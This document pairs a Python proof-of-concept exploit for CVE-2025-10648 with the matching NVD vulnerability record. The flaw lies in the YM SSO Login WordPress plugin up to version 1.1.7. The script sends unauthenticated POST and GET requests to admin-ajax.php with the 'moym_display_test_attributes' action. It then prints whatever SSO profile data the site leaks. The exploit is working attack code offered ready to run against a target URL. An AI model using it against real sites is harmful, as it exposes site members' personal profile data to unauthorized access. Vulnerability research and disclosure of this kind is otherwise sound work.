CVE-2025-10648

# CVE-2025-10648 PoC # Vulnerability: Missing capability check in 'moym_display_test_attributes' function # Affected: YM SSO Login plugin <= 1.1.7 # Impact: Unauthenticated read of latest SSO login profile data import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" # WordPress AJAX endpoint for unauthenticated action invocation # The 'moym_display_test_attributes' function lacks capability check, # allowing any unauthenticated attacker to invoke it. ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload: action parameter triggers the vulnerable function payload = { "action": "moym_display_test_attributes" } # Send the exploit request (no authentication required) response = requests.post(ajax_url, data=payload) # The server will return the profile attributes of the latest SSO login if response.status_code == 200: print("[+] Exploit successful!") print("[+] Leaked SSO profile data:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Alternative: GET request also works in many cases response_get = requests.get(ajax_url, params=payload) if response_get.status_code == 200 and response_get.text: print("\n[+] GET request also returned data:") print(response_get.text)

{"cve": {"id": "CVE-2025-10648", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:40.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The YourMembership Single Sign On – YM SSO Login plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'moym_display_test_attributes' function in all versions up to, and including, 1.1.7. This makes it possible for unauthenticated attackers to read the profile data of the latest SSO login."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/login-with-yourmembership/trunk/class-moym-sso.php#L112", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/login-with-yourmembership/trunk/class-moym-sso.php#L88", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3389623/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1bb25412-8f63-4a9d-84bd-44fac59c6eed?source=cve", "source": "[email protected]"}]}}